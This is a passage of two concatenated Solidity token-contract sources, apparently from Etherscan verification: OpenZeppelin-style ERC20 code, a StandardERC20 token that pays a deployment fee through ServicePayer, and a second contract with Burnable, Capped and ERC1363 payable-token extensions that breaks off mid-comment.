displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.0; /** * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. */ abstract contract ERC20Decimals is ERC20 { uint8 immutable private _decimals; /** * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor (uint8 decimals_) { _decimals = decimals_; } function decimals() public view virtual override returns (uint8) { return _decimals; } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/token/ERC20/StandardERC20.sol pragma solidity ^0.8.0; /** * @title StandardERC20 * @dev Implementation of the StandardERC20 */ contract StandardERC20 is ERC20Decimals, ServicePayer { constructor ( string memory name_, string memory symbol_, uint8 decimals_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ERC20Decimals(decimals_) ServicePayer(feeReceiver_, "StandardERC20") payable { require(initialBalance_ > 0, "StandardERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } function decimals() public view virtual override returns (uint8) { return super.decimals(); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-11-06 */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol pragma solidity ^0.8.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } } // File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol pragma solidity ^0.8.0; /** * @dev Extension of {ERC20} that adds a cap to the supply of tokens. */ abstract contract ERC20Capped is ERC20 { uint256 private immutable _cap; /** * @dev Sets the value of the `cap`. This value is immutable, it can only be * set once during construction. */ constructor(uint256 cap_) { require(cap_ > 0, "ERC20Capped: cap is 0"); _cap = cap_; } /** * @dev Returns the cap on the token's total supply. */ function cap() public view virtual returns (uint256) { return _cap; } /** * @dev See {ERC20-_mint}. */ function _mint(address account, uint256 amount) internal virtual override { require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded"); super._mint(account, amount); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: erc-payable-token/contracts/token/ERC1363/IERC1363.sol pragma solidity ^0.8.0; /** * @title IERC1363 Interface * @dev Interface for a Payable Token contract as defined in * https://eips.ethereum.org/EIPS/eip-1363 */ interface IERC1363 is IERC20, IERC165 { /** * @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver * @param recipient address The address which you want to transfer to * @param amount uint256 The amount of tokens to be transferred * @return true unless throwing */ function transferAndCall(address recipient, uint256 amount) external returns (bool); /** * @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver * @param recipient address The address which you want to transfer to * @param amount uint256 The amount of tokens to be transferred * @param data bytes Additional data with no specified format, sent in call to `recipient` * @return true unless throwing */ function transferAndCall( address recipient, uint256 amount, bytes calldata data ) external returns (bool); /** * @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver * @param sender address The address which you want to send tokens from * @param recipient address The address which you want to transfer to * @param amount uint256 The amount of tokens to be transferred * @return true unless throwing */ function transferFromAndCall( address sender, address recipient, uint256 amount ) external returns (bool); /** * @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver * @param sender address The address which you want to send tokens from * @param recipient address The address which you want to transfer to * @param amount uint256 The amount of tokens to be transferred * @param data bytes Additional data with no specified format, sent in call to `recipient` * @return true unless throwing */ function transferFromAndCall( address sender, address recipient, uint256 amount, bytes calldata data ) external returns (bool); /** * @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender * and then call `onApprovalReceived` on spender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender address The address which will spend the funds * @param amount uint256 The amount of tokens to be spent */ function approveAndCall(address spender, uint256 amount) external returns (bool); /** * @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender * and then call `onApprovalReceived` on spender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender address The address which will spend the funds * @param amount uint256 The amount of tokens to be spent * @param data bytes Additional data with no specified format, sent in call to `spender` */ function approveAndCall( address spender, uint256 amount, bytes calldata data ) external returns (bool); } // File: erc-payable-token/contracts/token/ERC1363/IERC1363Receiver.sol pragma solidity ^0.8.0; /** * @title IERC1363Receiver Interface * @dev Interface for any contract that wants to support transferAndCall or transferFromAndCall * from ERC1363 token contracts as defined in * https://eips.ethereum.org/EIPS/eip-1363 */ interface IERC1363Receiver { /** * @notice Handle the receipt of ERC1363 tokens * @dev Any ERC1363 smart contract calls this function on the recipient * after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the * transfer. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the token contract address is always the message sender. * @param operator address The address which called `transferAndCall` or `transferFromAndCall` function * @param sender address The address which are token transferred from * @param amount uint256 The amount of tokens transferred * @param data bytes Additional data with no specified format * @return `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))` unless throwing */ function onTransferReceived( address operator, address sender, uint256 amount, bytes calldata data ) external returns (bytes4); } // File: erc-payable-token/contracts/token/ERC1363/IERC1363Spender.sol pragma solidity ^0.8.0; /** * @title IERC1363Spender Interface * @dev Interface for any contract that wants to support approveAndCall * from ERC1363 token contracts as defined in * https://eips.ethereum.org/EIPS/eip-1363 */ interface IERC1363Spender { /** * @notice Handle the approval of ERC1363 tokens * @dev Any ERC1363 smart contract calls this function on the recipient * after an `approve`. This function MAY throw to revert and reject the * approval. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the token contract address is always the message sender. * @param sender address The address which called `approveAndCall` function * @param amount uint256 The amount of tokens to be spent * @param data bytes Additional data with no specified format * @return `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))` unless throwing */ function onApprovalReceived( address sender, uint256 amount, bytes calldata data ) external returns (bytes4); } // File: erc-payable-token/contracts/token/ERC1363/ERC1363.sol pragma solidity ^0.8.0; /** * @title ERC1363 * @dev Implementation of an ERC1363 interface */ abstract contract ERC1363 is ERC20, IERC1363, ERC165 { using Address for address; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1363).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Transfer tokens to a specified address and then execute a callback on recipient. * @param recipient The address to transfer to. * @param amount The amount to be transferred. * @return A boolean that indicates if the operation was successful. */ function transferAndCall(address recipient, uint256 amount) public virtual override returns (bool) { return transferAndCall(recipient, amount, ""); } /** * @dev Transfer tokens to a specified address and then execute a callback on recipient. * @param recipient The address to transfer to * @param amount The amount to be transferred * @param data Additional data with no specified format * @return A boolean that indicates if the operation was successful. */ function transferAndCall( address recipient, uint256 amount, bytes memory data ) public virtual override returns (bool) { transfer(recipient, amount); require(_checkAndCallTransfer(_msgSender(), recipient, amount, data), "ERC1363: _checkAndCallTransfer reverts"); return true; } /** * @dev Transfer tokens from one address to another and then execute a callback on recipient. * @param sender The address which you want to send tokens from * @param recipient The address which you want to transfer to * @param amount The amount of tokens to be transferred * @return A boolean that indicates if the operation was successful. */ function transferFromAndCall( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { return transferFromAndCall(sender, recipient, amount, ""); } /** * @dev Transfer tokens from one address to another and then execute a callback on recipient. * @param sender The address which you want to send tokens from * @param recipient The address which you want to transfer to * @param amount The amount of tokens to be transferred * @param data Additional data with no specified format * @return A boolean that indicates if the operation was successful. */ function transferFromAndCall( address sender, address recipient, uint256 amount, bytes memory data ) public virtual override returns (bool) { transferFrom(sender, recipient, amount); require(_checkAndCallTransfer(sender, recipient, amount, data), "ERC1363: _checkAndCallTransfer reverts"); return true; } /** * @dev Approve spender to transfer tokens and then execute a callback on recipient. * @param spender The address allowed to 